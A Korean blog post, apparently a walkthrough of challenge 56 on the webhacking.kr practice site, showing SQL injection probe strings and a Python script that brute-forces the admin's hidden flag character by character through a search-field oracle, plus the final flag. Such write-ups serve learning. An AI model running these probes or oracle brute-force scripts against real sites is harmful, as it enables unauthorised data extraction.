본문 바로가기
category/웹해킹(webhacking.kr)

웹해킹(webhacking.kr) - 56번

by 자운대고라니 2023. 2. 15.
반응형

 

56번 접속시 화면이다.

admin 옆의 readme를 누르면 ACCESS DENIED라는 문구가 나오고, guest 옆의 hi~를 누르면 hello~ 라는 문구가 나온다.

search에 hello를 넣고 제출해본다.

사진과 같이 guest 테이블만 출력되는 것을 알 수 있다.

이를 통해 search에 입력되는 값은 subject 파일에 포함된 문자열을 뜻한다고 추측할 수 있다.

SQL injection이 가능한지 확인해본다.

 

hello' and 1=1#'

hello' or 1=1#'

hello' && 1 LIKE 1#'

 

모두 공백 화면이 나온다. 즉 SQL injection으로 푸는 문제는 아니라고 추측할 수 있다.

webhacking.kr 사이트는 문제 해결 방식이 2가지 있다.

 

1. 문제를 풀면(admin등 로그인) 자동으로 해결되는 방식.

2. 문제에서 flag값을 찾아 Auth에 넣는 방식.

 

Auth 방식

56번 문제와 같은 경우 거의 Auth에 넣는 방식이고, Auth Flag의 형식은 FLAG{flag 값} 으로 확인한다.

즉, admin계정의 subjectFLAG{flag 값}이 포함돼있다 추측할 수 있다.

 

FLAG{ 를 search에 넣어본다.

예상대로 admin 테이블이 출력된다. 이를 활용해 python 코드를 통한 BF를 실시한다.

 

webhacking.kr-56.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
 
 
url = 'https://webhacking.kr/challenge/web-33/index.php' #url 주소를 입력
cookies = {'PHPSESSID''내 세션값'#세션 쿠키를 입력
BF_result = "FLAG{"
 
for i in range(1,50): #넉넉하게 범위 잡음
    for j in range(43,127):
        params = {'search':BF_result+chr(j)}
        response = requests.post(url, data=params, cookies=cookies)
        #print(BF_result + chr(j))
        if 'admin' in response.text:
           BF_result += chr(j)
            print("password is {}".format(BF_result))
            break
print(BF_result)
cs

해당 프로그램을 실행시키면 위 사진과 같이 FLAG값이 출력된다.

FLAG{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?_  

맨 끝의 문자열인 SO? 뒤에 _로 끝이 났는데, FLAG{flag 값}의 형식이 아니기에

 

FLAG{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?} 로 바꿔서 제출했더니, 문제가 해결됐다.

}가 아닌 _로 나온 이유는 잘 모르겠다. (brute force를 막기위해 필터링 하지 않았을까 싶다.)

 

반응형

'category > 웹해킹(webhacking.kr)' 카테고리의 다른 글

웹해킹(webhacking.kr) - 9번  (0) 2023.02.17
웹해킹(webhacking.kr) - 28번  (0) 2023.02.16
웹해킹(webhacking.kr) - 74번 g00gle1  (0) 2023.02.15
웹해킹(webhacking.kr) - 8번  (0) 2023.02.14
웹해킹(webhacking.kr) - 35번  (0) 2020.11.30
웹해킹(webhacking.kr) - 40번  (0) 2020.11.26
webhacking 기본  (0) 2020.11.24
웹해킹(webhacking.kr) - 27번  (0) 2020.11.24

댓글